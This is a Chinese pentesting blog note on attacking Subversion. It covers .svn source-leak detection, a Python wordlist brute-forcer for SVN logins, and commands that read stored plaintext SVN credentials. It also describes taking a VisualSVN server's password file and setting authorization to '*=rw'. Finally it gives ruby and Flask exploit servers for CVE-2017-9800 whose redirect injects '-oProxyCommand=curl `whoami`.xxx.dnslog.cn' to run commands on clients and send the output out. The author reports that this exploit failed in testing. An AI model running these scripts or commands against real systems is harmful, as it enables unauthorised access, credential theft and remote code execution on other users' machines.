SVN,在渗透中似乎并不是一个被着重关注的点,我们今天简单简单简单探讨下SVN在渗透中的使用。
svn源码泄露
首先,最容易想到的svn源码泄露:使用SVN管理本地代码过程中,会生成一个名为.svn的隐藏文件夹,其中包含重要的源码信息。然而网站管理员在发布代码时,没有使用导出功能,直接进行复制粘贴。
此漏洞的相关检测在AssetsHunter的inforisk模块已经集成了,大家简单参考:
def svn_check(url):
try:
req = requests.get(url+'/.svn/entries', headers=headers, timeout=3, verify=False)
contents = str(req.text).split('\x0c')
pattern = re.compile(r'has-props|file|dir')
for content in contents:
match = len(pattern.search(content).group(0))
if req.status_code == 200 and match > 0:
print ("[+]存在svn源码泄露漏洞...\tpayload: "+url+'/.svn/entries')
except:
pass
至于所谓的exp,也是基于同样原理,随便抓个无脑用就好。
弱口令
啊这,冲就完了,该模块将在下一版本并入AssetsHunter爆破模块。
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
'''
import requests
userfile='user.txt'
pwdfile='pwd.txt'
def Svn_crack(url, user, password):
print('Cracking :' + user +' / ' + password)
try:
res = requests.get('http://' + user + ':' + password + '@' + url, verify=False, timeout=30)
if res.status_code == 200:
return('Success! user: {} password: {}'.format(user,password))
except:
pass
def run(url):
url=url.replace('http://','').replace('https://','')
fru=open(userfile,'r')
users=fru.readlines()
fru.close()
frp=open(pwdfile,'r')
pwds=frp.readlines()
frp.close()
print('加载用户:{}个\n加载字典:{}条'.format(len(users),len(pwds)))
break_all = False
for i in users:
i=i.replace('\n','')
for j in pwds:
j=j.replace('\n','')
res=Svn_crack(url,i,j)
if res:
break_all = True
print(res)
break
if break_all:
break
if __name__ == '__main__':
run('127.0.0.1')
明文密码获取
当然这一步是建立在svn client的可读权限下的:
ls ~/.subversion/auth/svn.simple/
xxx
cat ~/.subversion/auth/svn.simple/xxx
对应Windows环境在这个路径下,但是非明文,经过了Windows的认证加密,感兴趣的小伙伴自行拓展。
C:\Users\xxx\AppData\Roaming\Subversion\auth\svn.simple\xxx
顺便提一下渗透中常用命令:
svn checkout --username admin --password=123456 http://127.0.0.1:8080/svn/ #检出 checkout=co
svn list --username admin --password=123456 http://127.0.0.1:8080/svn/ #查看目录 list=ls
svn export --username admin --password=123456 http://127.0.0.1:8080/svn/ #导出
svn log --username admin --password=123456 http://127.0.0.1:8080/svn/ #查看操作日志
其中导出和检出区别:
检出的项目仍然被SVN进行管理,和版本库仍然关联。(带.svn目录)
导出的项目相当于一些普普通通的文件,不再和版本库、SVN有任何关系。(不带.svn目录)
这也是我们一般会提svn源码泄露是认为检出或复制粘贴而非导出的原因,不过多说一句的是,通过apache/nginx配置对/.svn/entries进行滤过封禁同样是一个成熟的方案。
所以在渗透活动中,个人倾向导出方式多一些。另外这里有意的掠过了一点,即svn仓库污染来进行xss攻击的方式,因为目前暂未找到擦干净屁股的方案,所以极不推荐。
如果属实懒的话,有web端吖 :http://admin:123456@127.0.0.1:8080
SVN Server掌控
在某些拿到SVN Server的场景下,我们可以做更多事。
常见的的svn server环境我们以VisualSVN为例,在例如C:\Program Files\VisualSVN Server\conf\httpd.conf
的安装目录下我们可以拿到Svnserver的配置信息,如:
svn服务的端口:
Listen "443" https
仓库存储目录下的密码本位置:
<Location />
AuthName "VisualSVN Server"
AuthType Basic
AuthBasicProvider file
AuthUserFile "C:/Repositories/htpasswd"
Require valid-user
</Location>
admin:$apr1$bf$d2UUlCHv9Q1uOnba43l2c0
其加密算法为htpasswd,是开源 http 服务器apache httpd的一个命令工具,用于生成 http 基本认证的密码文件,其解密难度相对较高。
这里可借助hashcat进行弱口令爆破,或者,干脆脱裤本地部署吧!因为这个策略同时还解决了另一个问题,不同账号被分配了不同的仓库访问权限,万一爆出的账户并不具备重要库的访问权限,也是一个尴尬的场面。
以本地test仓库为例,完整拉取该仓库文件夹,处理掉其中的访问限制即可:
C:\Repositories\test\conf\VisualSVN-SvnAuthz.ini
将其中的用户访问限制设置为Everyone,当然这一步也可在VisualSVN Server控制台完成。
# This configuration file stores VisualSVN Server authorization settings. The
# file is autogenerated by VisualSVN Server and is not intended to be edited
# manually.
#
# DO NOT EDIT THIS FILE MANUALLY!
#
# Use VisualSVN Server Manager or VisualSVN Server PowerShell module to
# configure access permissions on your server.
[/]
*=rw
反向RCE
即2017年的版本控制软件爆出远程命令执行漏洞,涉及Git、SVN、Mercurial、CVS
对应svn的编号为CVE-2017-9800,Subversion无法正确处理“ svn + ssh://” URL中的主机名,攻击者可以利用此漏洞以运行Subversion客户端的用户特权执行Shell命令,例如,在对恶意存储库或包含恶意提交的合法存储库执行“检出”或“更新”操作时,适用场景为攻击该服务器存储库的其它用户,甚至需要夹杂社工。
影响范围:
Apache Subversion clients 1.0.0 through 1.8.18 (inclusive)
Apache Subversion clients 1.9.0 through 1.9.6 (inclusive)
Apache Subversion client 1.10.0-alpha3
这货真冷门,全网翻了个遍,只在joernchen师傅的推特上找到了一丝exp的踪迹:https://twitter.com/joernchen/status/896473816121167872
ruby -e 'require "sinatra";set server: "thin";options "/" do redirect "svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn",301 end'
因为该脚本仅支持本地测试,当然也可以保存为rb文件-o 0.0.0.0
的方式启动非本地访问,但是,考虑到ruby还没入门,只得借助python来补充下了。
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/',methods=['OPTIONS'])
def index():
return redirect('svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn',code=301)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8443, debug=True)
然后client原理可以参照git利用链理解:由于SSH链接在hostname部分,若是用“-”开头,那么会导致ssh命令将hostname误认为这是一个选项。因此,我们可以利用“-oProxyCommand”选项来达到命令执行的目的,所以可以看到我们的payload部分设定为svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn
。
客户端的复现方案为:svn checkout http://127.0.0.1:8443
你以为这就完啦!!!我果然还是翻车了!!!参见git的利用方式,报错是存在的,但是命令也应该是执行了的,的说。
svn checkout http://127.0.0.1:8443
Redirecting to URL 'svn+ssh://-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn':
svn: E170013: Unable to connect to a repository at URL 'svn+ssh://-oProxyCommand=curl%20`xxx`.rslv4n.dnslog.cn'
svn: E125002: Invalid host '-oProxyCommand=curl%20`whoami`.xxx.dnslog.cn'
END
笔者时间关系+这是一个反向RCE+其他的不可描述原因,研究暂且搁置,没有尾巴的一篇笔记,师傅们表打我,希望有相关研究或感兴趣的师傅们私聊/交流,/鞠躬。
网友评论